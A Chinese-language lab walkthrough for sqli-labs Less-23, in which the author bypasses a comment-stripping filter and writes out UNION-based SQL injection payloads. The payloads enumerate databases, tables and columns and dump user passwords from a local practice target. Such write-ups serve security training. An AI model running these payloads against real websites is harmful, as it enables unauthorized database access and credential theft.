一、输入id,页面正常显示,然后输入单引号报错,添加注释符后还是报错,就让人怀疑多了括号,试了还是没用
二、看一下源码
1.确实是单引号闭合没有问题,再找一下出错原因
2.发现对$id这个变量使用了preg_replace函数。preg_replace 函数执行一个正则表达式的搜索和替换,第一个参数表示要搜索的字符串,第二个参数表示替换的字符串,第三个参数就是搜索或替换的目标。这里就是将#和–这两个注释符替换成了空格。所以我们添加注释符后才会报错,因为没有注释掉或者闭合掉后面的单引号
3.现在只要想办法闭合后面的单引号就好了,选择用’1’='1这个方法,成功显示,既然这关有显示位,那就用联合查询就好了
http://127.0.0.1/sqli-labs-master/Less-23/?id=1' and '1'='1
三、爆所有数据库
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1
四、爆指定数据库所有表
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 and '1'='1
五、爆指定表所有列
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 and '1'='1
六、爆指定列所有数据
?id=-1' union select 1,(select group_concat(password) from users),3 and '1'='1
over~